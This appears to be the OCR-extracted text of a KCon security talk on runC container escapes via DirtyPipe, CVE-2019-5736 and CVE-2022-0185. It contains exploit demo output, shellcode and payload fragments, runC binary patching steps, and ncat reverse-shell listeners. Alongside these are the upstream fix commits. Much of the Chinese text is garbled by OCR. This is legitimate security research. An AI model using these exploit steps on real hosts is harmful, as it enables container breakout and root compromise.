KCon

HIiE
runCBElﬁ

\x_

frig s RBM IR EE*?@E

Fl DT,
IPBR7RIK



v V YV VY YV V

KCon About Me

GitHub: brant-ruan

Blog:

blog.wohin.me

+ 2

RARATEMEISCE S

(ZRBRKRTRERERARS) HEES

(BIR=

e WhKRBSARWE) KEEE

HESRERGEEZTIEMetarget L e iR A




KCon

1 WEEMDirtyPipeifiitc

2 Ax—BrICVE-2019-5736

CONTENTS 3 ERIAZESHAFE
H=x

4 BHERBREBIFIRFZE

5 HBEMS



KCon #2175 runC

;-ecosystem
Microsoft Azure

Google Cloud Platform dOCker 1BM Cloud cﬁj A"ba ba CIOUd
kubelet

CRI Runtime

e

: .containerd

containerd @ Prometheus

Serwce Handlers Metrics - —,

4
| Services Containers|| Content Diff Images Leases Namespaces|| Snapshots Tasks |
| Service Service Service Service Service Service Service Service

=l

Metadata

(namespaced)

Snapshoﬁer [

|
: Runtime
|

src: https://containerd.1i1o0/1img/architecture.png




KCon

DSBS ADirtyPipedHite




KCon DirtyPipe (CVE-2022-0847)

The Dirty Pipe Vulnerability
Max Kellermann max.kellermann@ionos.com

Abstract

This 1s the story of CVE-2022-0847, a vulnerability in the Linux kernel
since 5.8 which allows

This leads to privilege escalation because unprivileged processes can
1nject code 1nto root processes.

It 1s similar to but 1s easier to exploit.

The vulnerability 1n Linux 5.16.11, 5.15.25 and 5.10.102.

- dp uname -r
5.8.0-050800rcl-generic
- dp cat /etc/passwd | head -n 1

r 0:0:root:/root:/usr/bin/zsh
- dp ./exploit /etc/passwd 1
It worked!

- dp cat /etc/passwd | head -n 1
r 0:0:root:/root:/usr/bin/zsh



mailto:max.kellermann@ionos.com
https://dirtycow.ninja/
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9d2231c5d74e13b2a0546fee6737ee4446017903
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Yuval Avrahami @yuvalavra - 3H8H

[B1& @yuvalavra

escape PoC
- ~ dOCker' run dlrtyplpe eXp- 1 ubuntu@ip-172-31-16-4:~/dirypipe$ cat /bin/* | md5sum
i exp101t1ng DlrtyPlpe (CVE-2022-0847) 43a6afdd88e40d84b3983042139d894 - _ _ .
=5 d f di / / 1'F/'Fd/3 ubuntu@ip-172-31-16-4:~/dirypipe$ sudo docker run --rm -it $dirtypipe_image
+] runC opened for reading as /proc/se It worked!
+ got entry point: 0x232390 ubuntu@ip-172-31-16-4:~/dirypipe$ cat /bin/* | mdSsum
—% <A : - : 1f1e2d908687331c045b199c38126ba6 -
*7 injecting payload into runC at entrypoint 0x232390 . . TR
"+ done MDirtyPipeZl|Dockeridt i

FRZE HELE

- ~ ncat klvnp 4444 Phithon ITMEEXMIREXKE AR TEHCHN—EBREZUALKERIREFBER— (0] & :
Ncat: Version 7.60 ( https://nmap.org/ncat ) FIRZIRA B Docker AEIXFHY, HHEGRBILLNE,

Ncat: Generating a temporary 1024-bit RSA key. E2RMXE (SRFBLANFHERBLE) B, hEHIZI Docker ik EE )
cdtc. 1STenin on ... J=%K, — Z i 70 Dlrty Pipett & Q5 EMAET =]
Ncat: Listening :::4444 N=%, —£RBTRZRESEN, thEMKRRE, FRAFHTSEH

Ncat: Listening on 0.0.0.0:4444 DirtyPipeZDockeriti& tFI AL 72,
Ncat: ConneCt-!'On -Frlom 192'168‘3’1®1' N0 ARG Archive  About Me Pages  Tags  Categories
Ncat: Connection from 192.168.3.101:51995.
eX'i.t et @ ® &
Ncat: Connection from 192.168.3.101. Container escape using dirtypipe

. After the CVE-2019-5736, most of the security researcher think that the fix is to use memfd_create to create
Ncat ConnECtlon -Frlom 192 168 3 1®1 51998 a file in memory and copy the runc binary to this file, but this is wrong. As we can do container escape using
pyth0n3 -C -me)or't pty,pty.spawn( /bl n/baSh'Dn dirtypipe, so we think the sendfile shares the src file and dst file. But again this is wrong. This two wrong

<®8 d a 5 d 2 C 5 7 -Fe b N 8 1 1 -F43 -F 7d d -F6 7a 647d 3 8 C 8 e 3 7®d9 14e .F6a _F# aSSL‘HTlptiOIl malfes the thing work and seems to be expainable. Just like negative plus negative equals

positive. There is an old chinese saying, “we can only get superficial knowledge from paper, but deep

<®8d d 5 d 2 @ 5 7 'Fe b D 8 1 1 'F43 'F?d d 'F6 7C| 647d 3 8 @ 8 e 3 7®d9 14e 'F6C| 'F# C d / knowledge from practice”, 4t FERA Gk, 45 FHFE 51T, The process of exploring the container

escape using dirtypipe just remind of this old saying.
cd /

@ b b . - . / # Return the Yuval pictures, it modifies the files in /bin directory. I’'m not sure this is the case that Yuval
r OOt ubun t u-oionic. escape. If he escapes from /proc/self/exe can then the shellcode modify the file in /bin directory it will be like

what pictures show, if it isn’t the case, there maybe another interesting things.
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KCon C(VE-2019-5736

NekiEE: MCTFRERZICVE-2019-5736FA1IZIR 0

rambo@matrix:~/CVE-2019-5736-PoC$ docker --version 43 B RS S @R

Docker version 18 @3 1 ce, bu11d 9ee9f40

rambo@matrix:- fi~x$”%m£?ﬁ% )C$ docker-runc --version

runc version 1 @ @-rc5 . . . PR

commit: 4fc53a81Fb7c994640722ac585Fa9ca548971871 35C3 CTFEEE35EBEEINAEHIE, HARCTF&BAEat, Sleep, Pwn, RepeatF {8 & 3&LL

spec: 1.0.0 SENN—IHCTFLERE., tkFFEF—BEFLNuxH BT EHEHNPERREE., B, X5

Egﬁ;‘l@mg’é”}g e e dOCke”Cg;M O CREATED £ 03 2 3B\ Dragon Sector & B i% B E B8 B7EEE I 5 docker execi S Fifk#ifrunc (—

STATUS PORTS NAMES MERIZTR) oMM, W HAZWMNrunci#TIRAERE, RIIRIM—1TEEBEEREEMN

6a545f9c889d ubuntu "/bin/bash"” 2 minutes ago runcEFEHNERRRFA. ZRBEF2019F281MBAEIMEIIRIEE, HDE %S CVE-2019-

Up 2 minutes peaceful_tesla

rambo@matrix:wf“”? 2819-573 )C$ cat main.go | grep 'payload' 5736,

var payload = "#!/bin/bash \n echo 'hello, host' > /tmp/magic.dat" ARG I IZCTFRAB MICVE-2019-5736{EZE o, BENIRZEREER, UEBEHANERKE
SO, f il Mrite([Jbyte(payload)) RAMREEERAMINR, #EIBSHANELSR.

rambo@matrix:~ ”*H-Eﬁ”w~ﬁf C$ docker cp main 6a54:/poc

rambo@®matrix:~/CVE-2019-5736- .ML$ docker exec -1t 6a54 /bin/bash

root@60545f9c889d /# /poc

Hm:l
[+] Overwritten /bin/sh successfully ""E""hl E;!I'E
h.

i runc
[+] Found the PID: 28 Sial ey
[+] Successfully got the file handle EF‘
[+] Successfully got write handle &{0xc4200a5900} .-..-F-'Ill-
root@®6a545f9c889d:/# |} E'I'i:i.:'..h..l r
" runc run

R IATE _runc exec
rambo@matrix:~/CVE-2019-57- )C$ docker exec -it 6a54 /bin/sh
No help 'tOplC For‘ '/bln/sh' ‘ runc init
rambo@matrix:~/CVE-2019-573 )C$ cat /tmp/maglc dat execve /proc/se f/e\xe
hello,host | |
rambo@matrix:~/CVE-2019-5736-PoC$ |} container container
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shelll% runc run ctr
shell2% runc exec ctr sh

shelll[ctr]# ps aux
PID USER TIME COMMAND
1 root 0:00 sh
root 0:00 {runc:[2:INIT]} /proc/self/exe 1init

24 root 0:00 ps aux »
shelll[ctr]# 1s -la [T
total 0 —
dr-x------ 2 root root @ Nov 28 14:29 .
dr-xr-xr-x 9 root root 0 Nov 28 14:29 ..
lr-x------ 1 root root 64 Nov 28 14:29 4 ->
shelll[ctr]#

total 0

drwxr-xr-x 1 root root 1872 Nov 25 09:22 bin
drwxr-xr-x 1 root root 552 Nov 25 09:46 boot
drwxr-xr-x 21 root root 4240 Nov 27 22:09 dev
drwxr-xr-x 1 root root 4958 Nov 28 14:28 etc
drwxr-xr-x 1 root root 12 Jun 15 12:20 home
drwxr-xr-x 1 root root 1572 Oct 30 12:00 11ib

WhoC

Peeking under the hood of CaaS offerings

a
Palo Alto Networks

wwwwwwww

remote
server
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nsenter: to avoid exposing host binary to container
There are quite a few circumstances where /proc/self/exe pointing to a
pretty important container binary is a _bad_ thing, so to avoid this we
have to make a copy (preferably doing self-clean-up and not being
writeable).

We require -- though there 1s an O_TMPFILE fallback --
but we can always extend this to use a scratch MNT_DETACH overlayfs or
tmpfs. The main downside to this approach is no page-cache sharing for
the runc binary (which overlayfs would give us) but this is far less
complicated.

This 1s only done during nsenter so that it happens transparently to the
Go code, and any libcontainer users benefit from it. This also makes
ExtraFiles and --preserve-fds handling trivial (because we don't need to
worry about 1t).

Fixes: CVE-2019-5736
Co-developed-by: Christian Brauner <christian.brauner@ubuntu.com>
Signed-off-by: Aleksa Sarai asarai@suse.de

& [CVE-2019-5736]: Server uses more memory if start many runc process at one time (#1993)
Different from #1980 , If we start 100 runc processes at one time, the server will use about more 900M

memory than before, it may cause failure. | don't know whether this is a problem or not?

root@iZ2zelo61blvcob5p5ducnnZ:/opt/busybox# ...
lifubang opened on Feb 23, 2019 4 comments

) [CVE-2019-5736]: Runc uses more memory during start up after the fix (#1980)
Random-Liu opened on Feb 13, 2019

35 comments

nsenter: cloned_binary:

The usage of memfd_create(2) and other copying techniques 1is quite
wasteful, despite attempts to minimise 1t with _LIBCONTAINER_STATEDIR.

to the cgroup associated with
the container, which can result in some setups getting OOM'd (or just
hogging the hosts' memory when you have lots of created-but-not-started
containers sticking around).

The easiest way of solving this 1s by

to
ensure that the host won't accidentally be re-mounted read-write. This
avolds all copying and cleans up naturally like the other techniques
used. Unfortunately, 1like the O_TMPFILE fallback, this requires being
able to create a file inside _LIBCONTAINER_STATEDIR (since bind-mounting
over the most obvious path -- /proc/self/exe -- i1s a *ery bad idea?*).

Unfortunately detecting this isn't fool-proof -- on a system with a
read-only root filesystem (that might become read-write during "runc
init" execution), we cannot tell whether we have already done an ro
remount. As a partial mitigation, we store a _LIBCONTAINER_CLONED_BINARY
environment variable which i1s checked *alongside* the protection being
present.

Signed-off-by: Aleksa Sarai asarai@suse.de
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CVE-2019-5736 (runC): rexec callers as memfd

Adam Iwaniuk and Borys Poptawski discovered that an attacker can compromise the
runC host binary from inside a privileged runC container. As a result, this
could be exploited to gain root access on the host. runC 1s used as the default
runtime for containers with Docker, containerd, Podman, and CRI-O.

- git:( ) tail -n 14 ./src/lxc/rexec.c
/**
* This function will copy any binary that calls liblxc into a memory file and

* will to rexecute the binary. This 1s done to prevent attacks
* through the /proc/self/exe symlink to corrupt the host binary when host and

* container are in the same user namespace or have set up an identity 1d

* mapping: CVE-2019-5736.

*/
__attribute__((constructor)) static void liblxc_rexec(void)

{

1f (getenv("LXC_MEMFD_REXEC") && lxc_rexec("liblxc")) {
fprintf(stderr, "Failed to re-execute liblxc via memory file

descriptor\n");

¥

_ex1t(EXIT_FAILURE);
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var

for {

writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.ItoaChandleFd), os.0O_WRONLY|los.O_TRUNC, 0700)

1f int(writeHandle.Fd()) > 0 {

DirtyPipe LA/

// |
const unsigned char malicious_elf_bytes[] = {

/* Ox/f, */ 0x45, O0x4c, Ox46, Ox01l, Ox01l, Ox01l, Ox00, Ox00, Ox00, Ox00, Ox00,

/* ELFFEIRED */
fi
int main(int argc, char **argv) {

1f ( ) '=0) {

runc_fd_read = open("/proc/self/exe", O_RDONLY);
lseek(runc_fd_read, ELF_ENTRYPOINT_OFFSET, SEEK_SET);

char payload[] = {
Oxba, 0x29, Ox58, 0x99, Oxoba, Ox02, Ox5f, Oxba, Ox01l, Ox5e, Ox0f, Ox05,
/* payload®| &y */

¥
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> root@5d0c53d8f294: /exp (ssh)

[+]
[*]
[
[*]
[*]
[*]
L1
[*]
[*]
[*]
[
[*]
[*]
[+]

perform exploit step?2

prepare fsconfig heap overflow

sparying msg_msg ..

trigger oob write in " legacy_parse_param™ to corrupt msg_msg.next
free uaf msg_msg from correct msqid

spray skbuff_data to re-acquire the 0x400 slab freed by msg_msg
free skbuff_data using fake msqid

freed using msqgid 5

spray pipe_buffer to re-acquire the 0x400 slab freed by skbuff_data
free skbuff_data to make pipe_buffer become UAF

uaf_pipe_idx: 1

edit pipe_buffer->flags

trying to overwrite runC

63 bytes written into runC

&2 CVE-2022-0185[MrunCE s +]

CVE-2022-0185% 17 K FlFH
VERITAS501 2022-03-16 | @ kernel

5 pipefiRiERBES5XHK

[+] exploit success

root@5d0c53d8f294: /exp# |]

% root@ubuntu-bionic: ~ (ssh) = ncat (ssh)

root@ubuntu-bionic:~# docker exec -it escape /exp/bash_evil ls

[0000] No help topic for '/exp/bash_evil' address

root@ubuntu-bionic:~# docker run -it ubuntu whoami config. json

D log
options. json
rootfs
runtime
work

python -c "import pty;pty.spawn('/bin/bash')"
/bin/bash: line 3: python:
python3 -c "import pty;pty.spawn('/bin/bash')"
<cfd23650a09da70f93507c80e48103e7c@4ddd8a31dbodb@2# cat /e
tc/passwdlgrep vagrant

# RHelEX - FiEFIAIFIE: pipe

XFADirtyPipe (CVE-2022-0847) [#15i# #1717, HREAFRIERFHATEE 7T X TRENKAEFMF B A
., XTEAZEFAUASGE, ERAANEHBETRERRE R ITkerne Uthhitg94kdh, 5Btk E, RLEERHTE
EXNREANAZ, HATEEGRELRZERFEARIPE AR, EEkernelfpgadgetIRIZAIE.

fEEX 1 DirtyPiperEE, XN RERISITHERILLA L T15?

A, teEDirtyPipelmEA S, HIANXNRETFENEEEBLAR AR R, EMEERBEEESENEIE.
MERBNZR 7T —TAZheaptYUAFSLENIRIE, FHEERRIGHEHIE{C HXstruct pipe_bufferiyiatf, Fflal
Z4iithR@I leak opsEElkernel base, BET{EXopsMROP (FMexpMEEEE_MAHIE) , HEKE
modprobe_path#lcore_patternfy{mizithit (fFEE—MAE) ?

MMt AaPEEERERTflags, MMiLUAFEE{LADirtyPipe? XFAZFILABRAMEIEE XSS BAS kAZM
hEng?

command not found

NiZUAF& 2 Pipe Buffer Flag
-> A NDirtypipe

-> FAHD1irtypipes runC

-> PEIR AT

<03e7c04ddd8a31dbodb@2# cat /etc/passwdlgrep vagrant
vagrant:x:1000:1000:, ,, : /home/vagrant:/bin/bash
<cfd23650a09da70f93507c80e48103e7c04ddd8a31dbodb@2# I
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- file which runc
/usr/local/sbin/runc: o4-bit LSB executable, x86-64, version 1 (SYSV),
statically linked, BuildID[shal]=0afa4292e5163007028fbdebeffblaledcla3f49, for GNU/Linux 3.2.0, stripped

= xxXd which runc | head -n 1
00000000 : 7f45 4cdo 0201 0100 Q000 Q0O VYO VO . || ............

ELF header ELF header

Program header table Prc: ram header table

.rodata | -rodata

.data .data |
=

Section header table Section header table |

src: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format#/media/File:Elf-layout--en.svg
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> - cat

- ~ readelf -h which runc | sed -n '"1,3p;8p;1lp’
— > ELF Header:

CD* E i 5 Magic: /f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
el e : ' ' Class: ELF64
E Type:

- ~ objdump -dj '.text' "which runc’ | sed -n '13,24p'
0000000000232390 <_start@@Base>:

232390: 31 ed XOr %ebp , %ebp

232392: 49 89 di mov %rdx,%ro

232395: 5Se pop %rsi

232396: 48 89 e’ mov %rsp,%rdx

232399: 48 83 e4 f0 and $OXFFfffffffffffffo,%rsp
23239d: 50 push  %rax

23239%e: 54 push  %rsp

23239f: 4c 8d 05 ba cZ2 46 00 _ea Ox4o6c26a(%rip),%rs
2323a6: 48 8d 0d f3 cl 46 00 lea Ox4o0clf3(%rip),%rcx
2323ad: 48 8d 3d 8c b4 06 00 lea Oxo6b48c(%rip),%rdi
2323b4: ff 15 16 7c a8 00 callg *0xa87cle(%rip)
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PayloadiciGER

PA T EL ]
1.runCERVASTE 1 L, HARAGUEE S
, PIAEELFREHE Inpayloadi®) i A EH: oy rax, OEP
LB LA 7 tea sox, [zie] o
nop
14%‘PU”C’T@E&?§I%PIE (Kﬁ%?&‘ﬂ?ﬁ sub rbx, nop vaddr
2 AEANFFHHEZEOEP (AL v ;ax
push rbx
1.3 %padding ret
- ~ readelf --wide --section-headers "which runc | sed -n '4,9p’
'Nr] Name Type Address Of f Size ES Flg Lk Inf Al
- 0] NULL 0000000000000000 000000 000000 00 o 0 0
1] .interp PROGBITS 0000000000000270 000270 PV0A1lc 66 A O 0 1
2 0000000000000 00028c 000020 006 A O 0 4
- 3] 00000000000002ac 00Q2ac P04 00 A O O 4
4 0000000000000310 000310 00024 06 A O O 4
- ~ readelf --wide --program-headers which runc | sed -n "'"7p;12,14p"’
Type Offset  VirtAddr PhysAddr FileS1z MemSiz Flg Align

0x000 0x00000000000028Cc Bx0VVVVVVVVBV28C R Ox4
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H opencontainers / runc  Public

& Watc

11 Pull requests 95 ' i cti rojects iki @) Security 4

- ./runc_latest -v

runc version

commit: v1.1.0-20-g52de29d7 T
SpecC. 1.0.2-dev @ Kolyshkin
go: gol.17.6 < s
libseccomp: 2.5.3 ——

h 386 ~ % Fork 1.7k

[~ Insights

Q  Find a release

v1.1.1 -- "Violence is the last refuge of the incompetent."”

—
Vs

( Latest )

This is the first stable release in the 1.1 branch, fixing a few issues
with runc 1.1.0.

7 Star 9.1k o

- readelf --wide --program-headers ./runc_latest | sed -n '7,15p"

Type Offset VirtAddr

LOAD 0x000000 0x0000000000400000
LOAD 0x001000 0x0000000000401000
LOAD 0x4/70000 0x0000000000870000
LOAD Ox8co8a8 0Ox000VVVAAcc/8ad
TLS Ox8co8a8 0Ox000VVVAAcc/8ad
GNU_STACK 0x000000 0x0000000000000000

GNU_RELRO Ox8cod8ad 0x00VVVYAcc/8ad

PhysAddr FileS1iz MemSiz

0x0000000000400000 0x0004ed8 Ox0004e8
0x0000000000401000 Ox4o0elel Ox46elel
0x000000000038 70000 Ox4562e2 Ox4562e2
0x0000000000cc/8a8 Ox0336c8 0x0/71948

0x0000000000cc/8a8 0Vx00VV28 Ox00VA/3
0x0000000000000000 x00V0VD ©Vx00VVVVO
0x0000000000cc/8a8 ©Vx0037/58 Ox0B3758

-1g Al1ign
R 0x1000
R E 0x1000
R 0x1000
RW  0x1000
R 0Ox8

RW  0x10

R Ox1
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= readelf --wide --section-headers ./runc_latest 2>/dev/null | sed -n "'"4p;6,7p;29,30p"'

'Nr] Name Type Address Of f Size ES Flg Lk Inf Al

- 1] .note.gnu.build-1d NOTE 0000000000400200 000200 000024 00 A O 0O 4

- 2] .note.ABI-tag NOTE 0000000000400224 000224 000020 006 A O O 4
008DED50 FF 20 47 6F 20 62 75 69 6C 64 69 6E 66 3A 08 00 0O8DED50
0O8DED6@ 50 CO CC 00 00 00 00 00 AQ CO CC 00 00 00 00 00 0O8DED6O
008DED70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O8DED70
Q08DEDS® @5 2F QA 3E 20 3A 01 01 01 01 QA 7C 04 05 01 03 008DEDS0
008DED9® 3C 61 2E 2F 2F 00 5C 27 5C 22 5C 5C 01 02 03 00 0O8DED9Q
008DEDA@ 3C 70 3E 00 3C 74 64 00 3C 74 68 00 3C 68 31 00 0O8DEDAQ
008DEDB@ 3C 68 32 00 3C 68 33 00 3C 68 34 00 3C 68 35 00 0O8DEDBO
008DEDCO 3C 68 36 00 2E 2E 2F @0 EF BF BD 00 6E 75 6C 6C 0O8DEDCO
008DEDD® 00 06 OC 12 00 06 OC 12 3C 74 74 3E 3C 2F 61 3E 0O8DEDDO
008DEDE@ 26 6C 74 3B 3C 2F 70 3E 3C 68 72 3E 3C 75 6C 3E 0O8DEDEQ 75 6C 3E
OO8DEDF@ 3C 6F 6C 3E 26 67 74 3B 3C 64 6C 3 3C 6C 69 3E 008DEDF@  3C 6F 6C 3E 26 67 74 3B 3C 64 6C 3E 3C 6C 69 3E
O0SDEE@® 3C 64 64 3E 3C 64 74 3E 3C 74 72 3 3C 62 72 3E 008DEE@® 3C 64 64 3E 3C 64 74 3E 3C 74 72 3E 3C 62 72 3E
VO8DEE10 3C o5 oD 3k FF FF FF FF FF FF FF FF 01 00 00 00 OO8DEE10 3C 65 oD 3k FF FF FF FF FF FF FF FF 01 00 00 00
OO8DEEZ20 FF FF FF FF 08 00 00 00 FF FF FF FF 01 00 00 00 OO8DEEZ20 FF FF FF FF 08 00 00 00 FF FF FF FF 01 00 00 00
008DEE30 08 00 00 00 01 00 00 00 2D 2D 2D @A 26 6C 74 3B 008DEE30 08 00 00 00 1 00 00 @0 2D 2D 2D @A 26 6C 74 3B
O08DEE40 26 67 74 3B 5C 75 30 30 26 61 6D 70 3B 00 00 00 008DEE40 26 67 74 3B 5C 75 30 30 26 61 6D 70 3B 00 00 00
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- ~ docker run --rm -v pwd /exp:/exp -1t --name escape ubuntu:18.04 /bin/bash

root@e0adb/f4b502:/# cd /exp; ./escape_with_dirtypipe_exec
*] exploiting DirtyPipe (CVE-2022-0847)

runC catched: /proc/353/exe
original entrypoint:

parsing runC ELF

segment 4 found
section found
1nject->off mod 4096 = Oxd50
1nject->secaddr mod 4096 = 0x0
1nject->secaddr += 0Oxd50

section .go.buildinfo found
section header updated

segment header updated

| 1 | 1 1 | 1 | ] ] | ] 11 ] | | ] || ] ] || 11
+ %+ %+ + ¥+ *+ + * ¥+ + *x+ + + + *

exploit succeeded

- ~ ncat -klvnp 4444

Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444

Ncat: Listening on 0.0.0.0:4444

Ncat: Connection from 192.168.0.102.

Ncat: Connection from 192.168.0.102:534725.
Ncat: Connection from 192.168.0.102.

Ncat: Connection from 192.168.0.102:53427.
Ncat: Connection from 192.168.0.102.

Ncat: Connection from 192.168.0.102:534728.
cat /etc/passwd | grep vagrant
vagrant:x:1000:1000: ,,, :/home/vagrant:/usr/bin/zsh

157 bytes payload injected at Ox8ded50 offset to target file

- ~ docker exec -1t escape /exp/bash_evil

- ~ docker run --rm -1t ubuntu:18.04 hostname
d2d8b123f631




?__attribute__ (Cconstructor)) void run_at_link(void) {

KCOI"] DEMO 2 ﬁm%ﬁ@ } 1nt runc_fd_read = open("/proc/self/exe", O_RDONLY)-i_.I

| 11 11 11 11 11 11 ] ] 11 11 11 11 11 11 11 11 T 1l 11 11 11 I¢

+ ¥+ %+ + *+ ¥+ + * ¥+ + *+ + + + + *

~ docker run - ~ ncat -klvnp 4444
xploitinag DirtvPi VE-2022-0847 Ncat: Version 7.91 ( https://nmap.org/ncat )
exploiting tyPipe (¢ 0 0847) Ncat: Listening on :::4444
: : : : : Ncat: Listening on 0.0.0.0:4444
executing /eSCCIP?_W'L'th_d'LI’"typlpe_lmage Ncat: Connection from 192.168.0.102.
original entrypoint: Ncat: Connection from 192.168.0.102:54172.

cat /etc/passwd | grep vagrant
vagrant:x:1000:1000: , ,, : /home/vagrant:/usr/bin/zsh
Ncat: Connection from 192.168.0.102.

parsing runC ELF Ncat: Connection from 192.168.0.102:55044.

segment 5 found Ncat: Connection from 192.168.0.102.
section found Ncat: Connection from 192.168.0.102:55045.
inject->off mod 4096 = Ox3b0O Ncat: Connection from 192.168.0.102.
inf’ect—>secaddr mod 4096 = QOx0 Ncat: Connection from 192.168.0.102:55040.
1nject->secaddr += 0x3b0

157 bytes payload 1njected at Oxacd3b@® offset to target file

section .go.buildinfo found
section header updated

segment header updated

exploit succeeded - dirtypipe docker run --rm -it ubuntu:18.04 hostname

d5e509321515a
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com/DataDog/dirtypipe-container-breakout-poc
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